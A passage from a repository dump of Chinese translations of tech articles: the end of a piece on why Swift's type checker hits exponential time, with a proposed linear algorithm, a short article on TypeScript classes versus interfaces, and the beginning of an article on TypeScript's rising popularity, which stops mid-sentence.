`IntegerLiteralConvertible`\n\n在这个系统中，类型约束系统遵循着 **最小分离** 原则。分割出来的单元被这样一个规则所约束着，即，每个单元都是一个拥有一套独立值的个体。在上面的这个例子里，实际上只有一个最小单元：在上述的约束 4 里，`T0` 发生了重载。在重载之时，编译器选择了 `infix +` 实现列表里第一种实现：即签名是 `(Int, Int) -> Int` 的实现。\n\n通过上述这个最小的单元，类型约束系统开始对元素进行类型约束：根据约束 3 `T1`、 `T2` 、 `T3` 被确定为 `Int` 类型，根据约束 4 ， `T4` 同样被确认为 `Int` 类型。\n\n在 `T1` 、 `T2` 被确定为 `Int` 之后（最开始它们被认为是 `ExpressibleByIntegerLiteral`）， `infix +` 的重载方式便已经确定，这个时候编译器便不需要再考虑其余可行性，并把其当做最终的解决方案。我们在确定每个节点对应的类型后，我们便可以选择我们所需要的重载方法了。\n\n## [](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html#getting-more-complex-quickly)让我们看点复杂的例子吧！\n\n到目前为止，并没有什么超出我们意料之中的异常出现，你可能想象不到当表达式开始变得复杂之时， **Swift** 的编译系统将会开始不断的出现错误信息。来让我们修改下上面的例子：第一·将 `2` 放在括号里，第二·添加负号操作符，第三·规定返回值为 `Double` 类型。\n\n\n```\nlet a: Double = 1 + -(2)\n```\n\n\n整个节点结构如下图所述：\n\n![a slightly more complex constraints graph](http://www.cocoawithlove.com/assets/blog/constraints_graph2.svg)\n\n节点约束如下：\n\n1.  `T1` 是 `ExpressibleByIntegerLiteral` 类型\n2.  `T3` 是 `ExpressibleByIntegerLiteral` 类型\n3.  `T2` 是一个传入 `T3` 返回 `T4` 的方法\n4.  `T2` 是 `prefix -`，其在 **Swift** 里有6种实现\n5.  `T0` 是一个传入 `T1`、`T4`，返回 `T5` 的方法\n6.  `T0` 是 `infix +` ，其在 **Swift** 里有28种实现\n7.  `T5` 是 `Double` 类型\n\n相较于上面的例子，这里多了两个约束，让我们看看类型约束系统会怎样处理这个例子。\n\n第一步：选择最小分离单元。这次是约束 4 ：“ `T2` 是 `prefix -`，在 **Swift** 里有6种实现”。最后系统选择了签名为 `(Float) -> Float` 的实现。\n\n第二步：和第一步一样，选择最小分离单元，这次是约束 6 ：“`T0` 是 `infix +` ，其在 **Swift** 里有28种实现”。系统选择了签名为 `(Int, Int) -> Int` 的实现。\n\n最后一步是：利用上述的类型约束确定所有节点的类型。\n\n然而，这里出现了点问题：在第一步里我们选择的签名为 `(Float) -> Float` 的 `prefix -` 实现和第二步里我们选择的签名为 `(Int, Int) -> Int` 的 `infix +` 实现和我们的约束 5 （`T0` 是一个传入 `T1`、`T4`，返回 `T5` 的方法）发生了冲突。解决方法是放弃当前的选择，然后重新回滚至第二步，为 `T0`\n\n最终，系统将遍历所有的 `infix +` 实现，然后发现没有一种实现同时满足约束 5 和约束 7 （`T5` 是 `Double` 类型）。\n\n所以，类型约束系统将回滚至第一步，为 `T2` 选取了签名为 `(Double, Double) -> Double` 的实现。最后，这种实现也满足了 `T0` 的约束。\n\n然而，在发现 `Double` 类型和 `ExpressibleByIntegerLiteral` 相互不匹配后，类型约束系统将继续回滚，寻找合适的重载方法。\n\n`T2` 总共有6种实现，但是最后3种实现不能被优化(因为它们是通用的实现，因此优先级高于显示声明参数为 `Double` 的实现）。\n\n> 在类型约束系统里，这种特殊优化是我曾经在[Unexpected behaviors](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html#unexpected-behaviors)一文中提到的快速重载的一些特性。\n\n拜这种特殊的“优化”所赐，类型约束系统需要76次查询才能找到一个合理的解决方案。如果我们添加了其余的一些新的重载，那么这个数字会变得超出我们的想象。例如，我们我们在例子里添加另外一个 `infix +` 操作符，比如： `let a: Double = 0 + 1 + -(2)` ，那么将需要1190次查询才能找到合理的解决方案。\n\n查询解决方案的这个过程是一个典型的具有指数时间复杂度的操作。在分离单元里进行搜索的范围称为[“笛卡尔积”](https://zh.wikipedia.org/wiki/%E7%AC%9B%E5%8D%A1%E5%84%BF%E7%A7%AF)，然后，对于图中的 <math><mi>n</mi></math> 个分离单元，算法将会在 n 维笛卡尔乘积的范围内进行查找（这是一个空间复杂度同样为指数的操作）。\n\n根据我的测试，单语句内拥有6个分离单元，便足以触发 **Swift** 中的 `expression was too complex` 的错误。\n\n## [](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html#linearizing-the-constraints-solver)线性化的类型约束系统\n\n针对本文所反复提到的这个问题，最好的解决方法就是在编译器中进行修复。\n\n类型约束系统之所以采用时间复杂度为指数算法来解决方法重载的问题，是因为 **Swift** 需要对方法重载所生成的 n 维[“笛卡尔乘积”](https://en.wikipedia.org/wiki/Cartesian_product)空间里的元素进行遍历并搜索从而确定一个合适的选项（在没有更好方案之前，这应该是最好的方案）。\n\n为了避免生成 n 维笛卡尔乘积空间，我们需要设计一个方法来实现相关逻辑实现的独立性，而不让它们彼此依赖。\n\n在开始之前我必须给你们一个很重要的提醒：\n\n> **友情提醒，这些东西仅代表我的个人观点**：接下来的一些讨论，都是我从理论的角度上来分析怎样在 **Swift** 的类型约束系统中怎样去解决函数重载的问题。我并没有写一些东西来证明我提出的解决方案，这可能意味着我会忽略某些非常重要的东西。\n\n### 前提\n\n我们想实现如下两个目标：\n\n1.  限制一个节点不应该与其余节点相互依赖或引用\n2.  从前一个方法分析出来的分离单元应该与后一个方法分离出来的存在着交集，并进一步简化分离单元的两个约束条件。\n\n第一个目标，可以通过限制节点的约束路径实现。在 **Swift** 中，每个节点的约束是双向的，每个节点的约束都从表达式的每一个分支开始，然后依照着遍历主干->线性遍历子节点的方式不断传播。在这个过程中，我们可以有选择性的简单地合并相同的约束逻辑来组合这些约束，而不是从其余节点引用相对应的类型约束。\n\n第二个目标里，支持前面通过减少类型约束的传播复杂度来进一步简化相关约束条件。每个重载方法的分离单元之间最重要的交叉点是一个重载函数的输出，可能会作为另一个重载函数的输入。这个操作应该根据参数相互交叉的两个重载方法所产生的2维笛卡尔积来进行计算。对于其余的可能存在的交叉点来说，给出一个真正意义上的数学上的严格交叉证明是非常困难的，同时这样的证明是没有必要的，我们只需要复制 **Swift** 里在复杂情况下的对于类型选择的时所采用的贪婪策略即可。\n\n### 让我们重新看看之前的例子\n\n让我们看看如果我们实现了前文所讲的两个目标后，类型约束系统将会变成什么样子。首先让我们复习下之前所生成的节点图：\n\n\n```Swift\nlet a: Double = 1 + -(2)\n```\n\n\n![a slightly more complex constraints graph](http://www.cocoawithlove.com/assets/blog/constraints_graph2.svg)\n\n然后让我们也复习下以下节点约束：\n\n1.  `T1` 是 `ExpressibleByIntegerLiteral` 类型\n2.  `T3` 是 `ExpressibleByIntegerLiteral` 类型\n3.  `T2` 是一个传入 `T3` 返回 `T4` 的方法\n4.  `T2` 是 `prefix -`，其在 **Swift** 里有6种实现\n5.  `T0` 是一个传入 `T1`、`T4`，返回 `T5` 的方法\n6.  `T0` 是 `infix +` ，其在 **Swift** 里有28种实现\n7.  `T5` 是 `Double` 类型\n\n### 将节点约束从右至左传递\n\n我们从右至左进行遍历（从叶子节点向主干遍历）。\n\n在节点约束从 `T3` 向 `T2` 传播时，添加了这样一个新的约束：“ `T2` 节点的输入值必须是一个由 `ExpressibleByIntegerLiteral` 转化而来的值”。现在在新的约束规则和原有规则同时发生作用后，一旦我们确认所有拥有 `T2` 的节点都被新规则约束成功之后，或者是与“特定操作重载优先于通用操作重载（比如在 `prefix -` 中 `Double`、 `Float` 或者是 `Float80` 会被优先重载）”这条规则冲突之时，便可以丢弃我们新建立的节点约束规则。在节点约束从 `T2` 向 `T4` 中传播的过程中，添加新约束为：“ `T4` 必须是 `prefix -` 所返回的6中类型的值之一，其中 `Double`、`Float` 或 `Float80` 优先被考虑）。在节点约束从 `T4` 朝 `T0` 传播的过程中，添加新约束为：“ `T0` 的第二个参数必须是从 `prefix -` 返回的6种参数里的任意一种演变而来，其中 `Double`、 `Float` 或 `Float80` 类型优先）。在结合 `T0` 已有的节点约束后，`T0` 的节点约束变为：“ `T0` 是 `infix +` 的6种实现之一，同时从右侧传入的参数是来自 `prefix -` 返回参数中的任意一种，在这个过程中类型是 `Double`、 `Float` 或者 `Float80` 的参数优先被考虑）。在节点约束从 `T1` 朝 `T0` 传递之时，没有新的约束条件需要添加（在这里，`T0` 已经被我们所增加的约束条件严格约束了，同时，原本所使用的 `ExpressibleByIntegerLiteral` 类型已经被 `Double`、 `Float` 或者 `Float80` 中的任意一种类型所替代了）。在节点约束从 `T0` 向 `T5` 传播时，需新增加约束为：“ `T5` 是 `infix +` 的6种返回值中的一种，且 `infix +` 的第二个参数是来自 `prefix -` 的返回值，在这个过程中，`Double`、 `Float` 或者 `Float80` 类型优先被考虑）。在上述约束的共同作用下，我们可以最终确认 `T5` 的类型为 `Double`。\n\n经过上述过程的变动之后，整个节点约束集迭代成下面这个样子：\n\n1.  `T1` 是 `ExpressibleByIntegerLiteral` 类型\n2.  `T3` 是 `ExpressibleByIntegerLiteral` 类型\n3.  `T2` 是一个传入 `T3` 返回 `T4` 的方法\n4.  `T2` 是 `prefix -` 的6种实现之一，同时为了满足在 **Swift** 中特殊操作重载优先级高于通用运算重载的原则，类型为 `Double`、 `Float` 或者 `Float80` 的 `prefix -` 重载优先被考虑。\n5.  `T4` 是 `prefix -` 的六种返回值之一，同样为了满足在 **Swift** 中特殊操作重载优先级高于通用运算重载的原则，类型为 `Double`、 `Float` 或者 `Float80` 的 `prefix -` 重载优先被考虑。\n6.  `T0` 是一个传入 `T1`、`T4`，返回 `T5` 的方法\n7.  `T0` 是 `infix +` 的6种实现之一，同时从右侧传入的参数是来自 `prefix -` 返回参数中的任意一种，在这个过程中为了满足在 **Swift** 中特殊操作重载优先级高于通用运算重载的原则，类型是 `Double`、 `Float` 或者 `Float80` 的参数优先被考虑\n8.  `T5` 是 `Double` 类型\n\n### 将节点约束从左至右传递\n\n现在我们开始从左至右进行遍历（先遍历主干，后遍历叶子节点）。\n\n首先从 `T5` 开始遍历，约束 5 是：“ `T5` 是 `Double` 类型的节点”。这时我们为 `T0` 添加新的约束：“ `T0` 的返回值类型一定要是 `Double` 类型的”。在这个约束生效后，我们就可以排除除 `(Double, Double) -> Double` 之外的 `infix +` 的重载了。节点约束继续从 `T0` 朝 `T1` 传递，根据 `infix +` 的`(Double, Double) -> Double` 重载的参数要求，我们为 `T1` 创建一个新的约束： `T1` 一定是 `Double` 类型的。在多种约束的作用下，之前所提到的“`T1` 是 `ExpressibleByIntegerLiteral` 类型”变为“`T1` 是 `Double` 类型”。在节点约束从 `T0` 朝 `T4` ，根据 `infix +` 的第二个参数的要求，我们确定 `T4` 的类型为 `Double`。节点约束从 `T4` 朝 `T2` 传播的过程中，我们新增加一个约束：“ `T2` 的返回值一定为 `Double` 类型”。在以上规则共同作用下，我们可以确定 `T2` 为 `prefix -` 的参数类型为 `(Double) -> Double` 重载。最后根据以上的约束，我们可以得知 'T3' 的类型为 'Double'。\n\n最后整个类型约束系统编程下面这个样子：\n\n1.  `T1` 为 `Double` 类型。\n2.  `T3` 为 `Double` 类型。`\n3.  `T2` 是 `prefix -` 的参数为 `(Double) -> Double` 类型的重载\n4.  `T0` 是 `infix +` 的参数为 `(Double, Double) -> Double` 类型的重载\n5.  `T5` 为 `Double` 类型。\n\n好了，现在整个类型约束操作便已经告一段落了。\n\n唔，我提出这算法的目的是改善方法重载的相关操作，因此，我将方法重载的次数用 n 表示。然后我将平均每个函数重载次数用 m 表示。\n\n如我前面所述，在 **Swift** 中，编译器是通过在一个 n 维的笛卡尔积空间内进行搜索来确定最终的结果。它的时间复杂度是 **O(m^n)** 。\n\n而我所提出的算法，是在一个2维的空间内去搜索 **n-1** 个分离单元来实现的。其执行时间是 **m^2*n**.因为 m 是和 n 相关联的，我们可以得到其最终的时间复杂度为 **O(n)** 。\n\n通常来讲，在 n 为很大的时候，线性复杂度的算法比指数时间复杂度的算法更能适应当前的状况，不过我们得搞清楚什么样的情况才能被称之为 n 为很大的数。在这个例子中，3 已经是一个非常 “大” 的数了。正如我前面所提到的一样，**Swift** 自带的类型约束系统将进行1190次搜索来确认最后的结果。而我设计的算法只需要336次搜索。这可以说很明显的降低了最后的耗时。\n\n我做了一个很有趣的实验：在之前所提到的 `let a: Double = 1 + -(2)` 这个例子里，不管是 **Swift** 里的类型约束系统，还是我所设计的算法，它们都是在一个2维的笛卡尔积空间内进行搜索，里面都包含了168中可能性。\n\n**Swift** 里现在所采用的类型约束算法选取了在 `prefix -` 和 `infix +` 重载生成的2维笛卡尔积空间内的168种可能性的76种。但是这样做的话，整个过程里会产生567次对 `ConstraintSystem::matchTypes`的调用，其中546次是用于搜索相适应的重载函数。\n\n我所设计的算法，搜索了全部168种可能性，但是根据我的分析，其最后只产生了22次对 `ConstraintSystem::matchTypes` 的调用。\n\n去确定一个非公开的算法，需要进行很多次的猜测，所以知道某一种算法的具体细节是一件非常困难的事儿。但是我想，我的算法在任意数量级的情况下，其表现优于或与现在已有的算法持平并不是一件不可能的事儿。\n\n## [](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html#is-this-type-of-improvement-coming-soon-to-swift)**Swfit** 很快会改进他的类型系统么？\n\n虽然我很想说：“我一个人就把所有工作做完了，看看这些代码运行的多么完美啊”，但是这也只能是想想罢了。一个整个系统由成千上万个逻辑和单元组成，并不能单独抽出某一个节点来进行讨论。\n\n你觉得 **Swift** 开发团队是不是在尝试把类型约束系统进行线性化处理呢？我对此持否定看法。\n\n在这篇文章里[“[swift-dev] A type-checking performance case study”](https://lists.swift.org/pipermail/swift-dev/Week-of-Mon-20160404/001650.html)表明官方开发者认为类型约束系统采用时间复杂度为指数的算法是一件很正常的事儿。与其将时间放在优化算法上，还不如去重构标准库，使其更为合理。\n\n一点吐槽：\n\n*   现在看来本文的前面两章简直就是在做无用功，我应该静静的将其删除。\n*   我觉得我想法是正确的，类型约束系统应该进行大幅度改进，这样我们次啊不会被上面所提到的问题所困扰。\n\n友情提醒: 理论上将类型约束系统并不是整个语言最主要的一部分，因此如果其进行了改进，应该是在一个小版本迭代中进行发布，而不是一个大版本更新。\n\n## [](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html#conclusion)结论\n\n在我使用 **Swift** 的经历里, `expression was too complex to be solved in reasonable time` 是一个经常出线的错误，而且我并不认为这是一个简单的错误。如果你在单个例子中是用了大量的方法或者是数学操作的时候，你应该定期看看这篇文章。\n\n**Swift** 里所采用的时间复杂度为指数的算法也可能导致编译时间较长的问题。 尽管我没有确切的统计整个编译里的时间分配，但是不出意外的话，系统应该将大部分时间放在了类型约束器的相关计算上。\n\n这个问题可以再我们编写的代码的时候予以避免，但是讲真，没有必要这么做。如果编译器能采用我所提出的线性时间的算法的话，我敢肯定，这些问题都不在是问题。\n\n在编译器做出具体的改变之前，本文所提到的问题会一直困扰着我们，与编译器的斗争还要持续下去。\n"
  },
  {
    "path": "TODO/typescript-class-vs-interface.md",
    "content": "> * 原文地址：[Typescript : class vs interface](https://medium.com/front-end-hacking/typescript-class-vs-interface-99c0ae1c2136)\n> * 原文作者：[Valentin PARSY](https://medium.com/@parsyval?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/typescript-class-vs-interface.md](https://github.com/xitu/gold-miner/blob/master/TODO/typescript-class-vs-interface.md)\n> * 译者：[xueshuai](https://github.com/xueshuai)\n> * 校对者：[Starriers](https://github.com/Starriers), [rpgmakervx](https://github.com/rpgmakervx)\n\n# Typescript: 类 vs 接口\n\n![](https://cdn-images-1.medium.com/max/800/1*TP-D_umXHGfSyJbUrSQ24g.jpeg)\n\n无论是在 Java 或 Typescript 中，接口和类的定义是不同的。\n\n我想指出一个我今天看到了很多次的错误。在这段 Typescript 的代码中我发现：\n\n```\nclass MyClass {\n  a: number;\n  b: string;\n}\n```\n\n不！绝对不对。太让人难受了。但是真正让人难受的是接下来读到的：\n\n```\nclass MyOtherClass extends MyClass {\n  c: number;\n}\n```\n\n哎呀呀！我知道这可能对来自一种 OOP 语言的人有一些困惑，但是在 Javascript 中，一个对象不是一个类的实例。我已经写 C++ 快10年了，所以我理解当我们这样做时是对的：\n\n```\nlet mine = new MyClass();\n```\n你生成了一个‘_object_’。但是你别忘了 Javascript 不是一个基于类的语言，他用的是原型方法（阅读下面的文章或者其他的解释这个的东西来掌握所有的这些是怎么回事）。\n\n- [**关于 Javascript 原型的简单英文指南 - Sebastian的博客**(http://sporto.github.io/blog/2013/02/22/a-plain-english-guide-to-javascript-prototypes/)\n\n* * *\n\n### 接口\n\n> Typescript 的一个核心原则是类型检查，它关注的是值所拥有的_shape_。\n\n接口就是约定。一个接口定义了一个对象里面拥有的东西（再一次强调...不是一个类的实例）。当你定义你的接口：\n\n```\ninterface MyInterface{\n  a: number;\n  b: string;\n}\n```\n\n你的意思是任何继承了这个约定的对象一定是一个拥有这两个（不会多，也不会少）特别的被称为‘a’和‘b’的属性，他们分别是数字型和字符串型。当你不遵守这个约定的时候，Typescript 将会抛出一个错误（例如，如果函数的参数符合 MyInterface，你不能传递任何别的参数）。\n\n### 类\n\n让我们来看一看 Typescript 文档中关于类的定义的第一行：\n\n> 传统的 Javascript 使用函数和基于原型的继承来构造可服用的组件，但是这会让那些对面向对象方法更舒服的程序员感到一些尴尬，在面向对象方法中，类继承了功能，而对象是通过类来构造的。\n\n在 Typescript 中关于类的**第一行**的定义是“来自 OOP 世界的程序员对基于原型的继承会感到困惑”。于是我尽可能的想“这就是 Typescript 中存在类的主要原因”（但那可能只是我这么认为）。\n\n> Javascript 的类，在 ECMAScript 2015的介绍中，主要是 Javascript 基于原型继承的语法糖。类的语法没有想 Javascript 中引入一个新的面向对象的继承模型。\n\n你不能对 Javascript 中的类更清楚了（扩展一下，在 Typescript中也是一样）\n\n### 接口 vs 类\n\n当你定义一个约定，你是想使用一个接口。一定是的，不可辩驳……但是，当你想使用一个类的时候呢？\n\nJohn Papa 已经在他的文章中指出了他的定义：\n\n- [**TypeScript 的类和接口 - 第3部分**(https://johnpapa.net/typescriptpost3/)\n\n*  创建多个实例\n*  使用继承\n*  单例对象\n\n不管同意或者不同意，但正如他所说的：“类很好，但是在 Javascript 中它们不是必须的”。我想说的是，既然它们已经存在而且让很多人的工作变得更轻松，那不管是什么原因，你都可以使用它们，只要你记住，它仍然是 Javascript 和原型。\n\n但是为什么这么积极地介绍这些呢？\n\n### 为什么使用类定义一个不好的约定呢？\n\n在 Typescript 网站上有一个很棒的工具叫做“Playground”。\n\n- [**Playground · TypeScript**](https://www.typescriptlang.org/play/)\n\n你在左边写 Typescript 的代码，右边就会显示经过转换的 Javascript 代码。\n\n![](https://cdn-images-1.medium.com/max/1000/1*rHfgm0K-kDPc1fKFSCrnYA.jpeg)\n\n好吧，那是很多的 Javascript 代码！\n\n现在，如果我们用接口来定义相同的约定：\n\n![](https://cdn-images-1.medium.com/max/1000/1*ZAXtcsFvS6dMj1aCS0sgDg.jpeg)\n\n什么都没有！因为 Typescript 只是使用接口来检查你是否在编译阶段最瘦了约定，他不会转换为任何 Javascript 代码（和类相反）。所以当我看到一个类定义了约定，我实际上在我的脑海中看到了第一张图片，那很受伤。顺便说一句，一个只有接口的文件最终是一个空文件。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/typescript-getting-popular.md",
    "content": "> * 原文地址：[Why TypeScript Is Growing More Popular](https://thenewstack.io/typescript-getting-popular/)\n> * 原文作者：[Mary Branscombe](https://thenewstack.io/author/marybranscombe/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[loveky](https://github.com/loveky)\n> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)  [Germxu](https://github.com/Germxu)\n\n# 为何 TypeScript 愈发流行了？ #\n\n![](https://cdn.thenewstack.io/media/2017/04/2fd01361-unnamed-1024x876.jpg)\n\n为何 [TypeScript](https://www.typescriptlang.org/) 这么流行呢？许多主流的开发框架依赖于它，它还能提高开发者在不断变化的 JavaScript 世界中的生产力。\n\n在最近的 [Stack Overflow 开发者调查](https://stackoverflow.com/insights/survey/2017#technology)以及年度 [RedMonk](http://redmonk.com) 编程[语言排名](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/)中都显示 [TypeScript](https://www.thenewstack.io/tag/TypeScript) —— 由微软发起的结合了编译高级 JavaScript 特性与静态类型检查及工具的开源项目 —— 正在达到新的人气高度。通过为 JavaScript 提供[最基本的检查语法](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0)，TypeScript 允许开发者对他们的代码进行类型检查，这可以[暴露 bug 并改善大型 JavaScript 代码库的结构和文档]((https://slack.engineering/typescript-at-slack-a81307fa288d))。\n\n参与了 Stack Overflow 调查的开发者中有 9.5% 的人正在使用 TypeScript，这使得 TypeScript 成为了第九流行的编程语言，排名在 Ruby 之前，用户量是 Perl 的两倍。此次 Stack Overflow 调查中的受访者来自不同领域，使用最广泛的两种语言是 JavaScript 和 SQL，这说明此次调查并非只针对前端开发。事实上，TypeScript 程序员出现在了参与 Stack Overflow 调查的所有 4 种工作角色中：web 开发者、桌面开发者、系统管理员与 DevOps 以及数据科学家。\n\nRedMonk 的排名将 Stack Overflow 的数据与 GitHub 上的 pull request 结合起来试图理解开发者的想法以及他们正在使用什么。TypeScript 同样受到了开发者的欢迎，排名从第 26 位上升到了第 17 位。其中一部分原因是 TypeScript 在 Stack Overflow 上关注度的提升，但主要还是因为在 GitHub 上参与的开发者在不断增多。\n\n的确，GitHub 在其 2016 [年度总结](https://octoverse.github.com/)中把 TypeScript 列为在 GitHub 上用于项目开发的 316 种编程语言中最受欢迎榜单的第 15 位（基于 pull request 的数量以及相较与前一年 pull request 250% 的增长率）。\n\n在另一个针对开发者的调查中，TypeScript 在众多 JavaScript 的『替代』[风格](http://stateofjs.com/2016/flavors/)中拥有最高的使用率（21%）以及尚未的用户中最高的关注度（39%）。这项调查的方式不同寻常 —— 它很奇怪地将转译器和包管理器（如 [npm](https://www.npmjs.com/) 和 [Bower](https://bower.io/)）混合在一起 —— 但参与了这项调查且经常使用 TypeScript 的开发者也经常使用 [ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/)、[NativeScript](https://www.nativescript.org/)、[Angular](https://angular.io/)，尤其是 Angular2。\n\n来自 RedMonk 的 [Stephen O’Grady](http://redmonk.com/team/stephen-ogrady/) 指出『似乎有理由相信 Angular』在 TypeScript 的日益普及中发挥了作用。虽然 Angular2 只是众多使用了 TypeScript 的项目中的一个（Asana 和 Dojo 已经在使用了，Adobe、Google、Palantir、SitePen 以及 eBay 的一些内部项目也是一样），但最为人们所熟知的恐怕还是像 [Rob Wormald](https://twitter.com/robwormald) 这样的 Google 员工在宣传 Angular 时顺带推广了 TypeScript。\n\n## 不止是 Angular2 ##\n\n『毫无疑问，我们与 Angular 团队的合作有助于 TypeScript 的推广』，TypeScript 核心成员 [Anders Hejlsberg ](https://twitter.com/ahejlsberg?lang=en) 向 New Stack 说到。『但即便如此，我认为真正重要的点在于这是一次代表了行业力量重大信心的信任投票。』\n\n他指出，这种信任投票带来的影响不仅仅在于 Angular。『目前，许多其它框架也在使用 TypeScript。[Aurelia](http://aurelia.io/)、[Ionic](https://ionicframework.com/)、NativeScript都以某种方式使用了 TypeScript。[Ember](https://www.emberjs.com/) 框架与 [Glimmer](https://github.com/glimmerjs) 框架的最新发布版本就是使用 TypeScript 编写的。』\n\n> 『我们看到许多来自在这个行业经验丰富的人的信任投票。我想这可能是每个在大公司的人都会注意到的』—— Anders Hejlsberg\n\n这种信任投票也给框架的使用者带来了机会。『我们做了很多努力以成为 [React 生态](https://facebook.github.io/react/)中的重要一员。我们支持 [JSX](https://jsx.github.io/)，支持所有你在重构或是浏览 JSX 代码时想要用到的类型系统的高级特性。我们还正在和 [Vue.js](https://vuejs.org/) 社区合作以更好的支持这个框架中用到的各种模式。』 Hejlsberg说到。\n\n为新框架提供支持是在开发者中保持流行度的一项重要手段。『我们一直都在关注框架领域。我们知道这是一个不断变化的生态系统。它在不断变化，你必须时刻准备着并保证一切都能正常工作。』\n\n对于工具链来说也是如此，尤其是在 ECMAScript 模块愈发流行的情况下。『许多人使用模块编写现代风格的 JavaScript 应用，当你使用 ECMAScript 6 模块的时候，你需要使用一个类似 [Webpack](https://webpack.github.io/) 或 [Rollup.js](https://rollupjs.org/) 这样的打包工具将代码打包起来以便能在浏览器中运行。我们要确保 TypeScript 可以与这些工具配合使用以保证我们可以融入整个工具链之中』 Hejlsberg说到。\n\n[![](https://cdn.thenewstack.io/media/2017/04/940acc19-stateofthenation.png)](http://vmob.me/DE1Q17)\n\nReact 是由 Facebook 发起的库。Angular 是从 Google 衍生出来的框架。有很多分析把它们做了比较。总的来说，Angular 处于领跑地位，与此同时 Vue.js 正在受到大量关注。Angular 在 TypeScript 的用户圈中受到追捧，41% 的人倾向于 2.x 版本，另外 18% 的人则更喜欢老版本。随着近期 Angular 4 的发布以及 TypeScript 的日益流行，我们预计 JavaScript 的战争还将持续下去（Lawrence Hecht）。\n\n拥有 TypeScript 类型定义的库的数量也在稳步增长。[DefinitelyTyped](http://definitelytyped.org/)，一个维护 TypeScript 类型定义的仓库，现在已经包含了超过 3000 个框架和库。通过把声明文件作为 npm 包发布在 @type 命名空间下，这个过程被大大提速了。\n\n『这意味着现在有了一个可以预测哪些框架支持类型的方法 —— 我们可以自动提供这些类型。当我们发现你引用了某个特定的框架时，我们就可以帮你找到类型定义，你就不必亲自去寻找了。』事实上，Hejlsberg 声称：『对某些开发者来说，某个框架是否拥有类型定义，已经成为了他们在选择框架时的决定性因素。』\n\n>『通常，TypeScript 被采用的流程 —— 不论是企业，创业团队还是个人开发者 —— 是你在某个项目中尝试使用并发现它很棒，接着你就开始推荐给别人。就这样，它就在你的影响范围内传播开了。』—— Anders Hejlsberg\n\n关注度的提高似乎是用户增长的原因之一。『我们没做过任何推广，所有这些都是社区驱动的。实际上是在稳步增长，我们现在开始注意到增长速度更快了。』Hejlsberg 说道。\n\nHejlsberg 指出 TypeScript 还是在 Stack Overflow 的调查中排在 Rust 和 Smalltalk 之后第三受欢迎的语言（排在 Swift 和 go 之前）以及第六急需人才的语言，排在 C# 和 Swift 之前。『我认为这从很大程度上说明我们真的解决了实际问题』Hejlsberg 指出。\n\n\n## 微软的影响范围 ##\n\n人们很容易把 TypeScript 的成功视为微软通过熟悉的工具把已经在微软世界中的企业开发者引入 JavaScript 的结果。\n\n『我们有一个围绕着 C#、C++ 以及 Visual Basic 的大型开发者生态系统。许多企业在使用微软的工具同时也有前端开发的需求，当我们开始改善前端开发的时候，他们就坐下来，关注并开始使用了。』Hejlsberg坦言。\n\n但是，虽然很多 TypeScript 的开发工作是在 [Visual Studio](https://www.visualstudio.com/) 中进行的，和使用 [Visual Studio Code](https://code.visualstudio.com/) —— 微软开源的，跨平台的 IDE —— 的一样多。『那是一个和我们没有太多联系的社区。以 Visual Studio Code 来说，一半的用户来自非 Windows 系统，因此突然间我们就与一个之前没什么交流的开发者社区建立了联系。』\n\n## 开源快车道 ##\n\nTypeScript 团队最近宣布发布频率将由每季度改为每两个月，Heljsberg 呼吁让发布日期更加可预测，而不是为了添加某个新功能而延迟发布。这也正是 ECMAScript 委员会正在采取的做法。\n\n新的发布节奏也会与 Visual Studio Code 保持一致，部分原因是因为 Visual Studio Code 是由 TypeScript 开发的，但更重要的原因在于工具是 TypeScript 吸引力的重要组成部分。\n\n尽管 TypeScript 支持多种编辑器与 IDE 很重要，但 Hejlsberg 指出 Visual Studio Code 是另一个帮助该语言普及的因素。\n\n事实上，即便只是开发 JavaScript，你也能从 TypeScript 获得更好的编码特性，他解释道。『Visual Studio Code 和 Visual Studio 都使用 TypeScript 语言服务作为它们的 JavaScript 语言服务。由于 TypeScript 是 JavaScript 的超集，这意味着 JavaScript 是 TypeScript 的一个子集，它只是没有类型注释的 TypeScript 罢了。』他指出。\n\n在 Visual Studio Code中，打开一个 JavaScript 文件会触发 TypeScript 的解析器、扫描器、词法分析器和类型分析器以提供 JavaScript 代码中的语句补全和代码导航功能。『即使没有类型注释，我们也可以通过你使用的模块以及声明的类来推断出关于项目结构的很多信息』Hejlsberg 说道。『令人惊奇的是，我们可以自动为你引用的框架导入类型信息，然后就可以为你提供出色的语句补全功能。』\n\n使这样的快速发布节奏成为可能的是所有 pull request 被合并前必须通过测试，这保证了 master 分支的代码质量和 TypeScript 的流行，意味着任何问题都可以被快速发现。\n\n『我们是一个开源项目，我们在 GitHub 上做了很多工作。除非能通过我们现有的 55000 个测试，否则我们绝不合并任何 pull request；如果是增加新功能，就必须提供相应的测试代码；如果是修改 bug，就必须提供回归测试。这意味着我们的 master 分支始终保持着很高的代码质量。』他说道。\n\n## JavaScript: 强大但复杂 ##\n\n除了任何一个单一因素以外，驱使 TypeScript 愈发流行的真实原因可能是现如今 JavaScript 